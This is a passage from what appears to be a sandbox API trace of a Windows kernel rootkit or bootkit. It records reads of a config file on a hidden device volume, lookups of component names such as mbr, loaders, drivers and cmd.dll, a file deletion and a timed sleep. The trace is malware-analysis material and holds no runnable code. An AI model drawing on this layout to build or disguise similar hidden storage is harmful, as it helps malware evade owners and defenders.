(Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.676] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.676] KeEnterCriticalRegion () [0122.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.676] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d04000 [0122.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.676] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.676] IdePortDispatch () returned 0x103 [0122.676] KeWaitForMutexObject () returned 0x0 [0122.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.676] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.677] IdePortDispatch () returned 0x103 [0122.677] KeWaitForMutexObject () returned 0x0 [0122.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.677] KeLeaveCriticalRegion () [0122.677] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.677] KeEnterCriticalRegion () [0122.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.677] KeLeaveCriticalRegion () [0122.677] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.677] KeEnterCriticalRegion () [0122.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.677] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.677] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.677] KeLeaveCriticalRegion () [0122.677] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.677] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.678] KeEnterCriticalRegion () [0122.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.678] ExFreePoolWithTag (P=0xfffffa8003be6300, Tag=0x0) [0122.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.678] KeLeaveCriticalRegion () [0122.678] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.678] ReleaseMutex (hMutex=0xf0) returned 1 [0122.678] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.678] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.678] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.678] KeEnterCriticalRegion () [0122.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.678] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.678] IdePortDispatch () returned 0x103 [0122.678] KeWaitForMutexObject () returned 0x0 [0122.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.678] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.678] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.678] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.678] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.678] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcd3c0 [0122.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.678] KeLeaveCriticalRegion () [0122.678] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.678] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.678] KeEnterCriticalRegion () [0122.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.678] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.678] KeLeaveCriticalRegion () [0122.678] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.678] KeEnterCriticalRegion () [0122.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.679] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.679] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.679] IdePortDispatch () returned 0x103 [0122.680] KeWaitForMutexObject () returned 0x0 [0122.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.680] KeLeaveCriticalRegion () [0122.680] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.681] KeEnterCriticalRegion () [0122.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d05000 [0122.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.681] IdePortDispatch () returned 0x103 [0122.681] KeWaitForMutexObject () returned 0x0 [0122.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.681] IdePortDispatch () returned 0x103 [0122.681] KeWaitForMutexObject () returned 0x0 [0122.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.681] KeLeaveCriticalRegion () [0122.681] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.682] KeEnterCriticalRegion () [0122.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] KeLeaveCriticalRegion () [0122.682] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.682] KeEnterCriticalRegion () [0122.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] KeLeaveCriticalRegion () [0122.682] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.682] KeEnterCriticalRegion () [0122.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] ExFreePoolWithTag (P=0xfffffa8003bcd3c0, Tag=0x0) [0122.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] KeLeaveCriticalRegion () [0122.682] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.682] ReleaseMutex (hMutex=0xf0) returned 1 [0122.682] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.682] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.682] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.682] KeEnterCriticalRegion () [0122.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.682] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.682] IdePortDispatch () returned 0x103 [0122.683] KeWaitForMutexObject () returned 0x0 [0122.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.683] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.683] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.683] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.683] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.683] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6450 [0122.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.683] KeLeaveCriticalRegion () [0122.683] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.683] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.683] KeEnterCriticalRegion () [0122.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.683] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.683] KeLeaveCriticalRegion () [0122.683] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.683] KeEnterCriticalRegion () [0122.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.683] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.683] IdePortDispatch () returned 0x103 [0122.683] KeWaitForMutexObject () returned 0x0 [0122.683] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.683] KeLeaveCriticalRegion () [0122.683] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.683] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.684] KeEnterCriticalRegion () [0122.684] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.684] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d06000 [0122.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.684] IdePortDispatch () returned 0x103 [0122.684] KeWaitForMutexObject () returned 0x0 [0122.684] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.684] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.684] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.684] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.684] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.684] IdePortDispatch () returned 0x103 [0122.684] KeWaitForMutexObject () returned 0x0 [0122.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.684] KeLeaveCriticalRegion () [0122.684] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.685] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.685] KeEnterCriticalRegion () [0122.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] KeLeaveCriticalRegion () [0122.685] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.685] KeEnterCriticalRegion () [0122.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.685] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] KeLeaveCriticalRegion () [0122.685] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.685] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.685] KeEnterCriticalRegion () [0122.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] ExFreePoolWithTag (P=0xfffffa8003be6450, Tag=0x0) [0122.685] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] KeLeaveCriticalRegion () [0122.685] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.685] ReleaseMutex (hMutex=0xf0) returned 1 [0122.685] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.685] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.685] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.685] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.685] KeEnterCriticalRegion () [0122.685] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.685] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.685] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.685] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.685] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.685] IdePortDispatch () returned 0x103 [0122.685] KeWaitForMutexObject () returned 0x0 [0122.686] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.686] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.686] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.686] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.686] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.686] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.686] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.686] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.686] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.686] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.686] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.686] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.686] KeLeaveCriticalRegion () [0122.687] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.687] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.687] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.687] KeEnterCriticalRegion () [0122.687] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.687] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.687] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.687] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.687] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.687] IdePortDispatch () returned 0x103 [0122.687] KeWaitForMutexObject () returned 0x0 [0122.687] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.687] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.687] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.687] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.687] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.687] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.687] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.687] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.687] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.687] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.687] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.687] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.687] KeLeaveCriticalRegion () [0122.687] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.687] ReleaseMutex (hMutex=0x100) returned 1 [0122.687] Sleep (dwMilliseconds=0x2bf20) [0122.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c53b630, dwHighDateTime=0x1d24fa4)) [0122.694] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.694] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.694] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.694] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.694] KeEnterCriticalRegion () [0122.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.694] IoAllocateMdl (in: 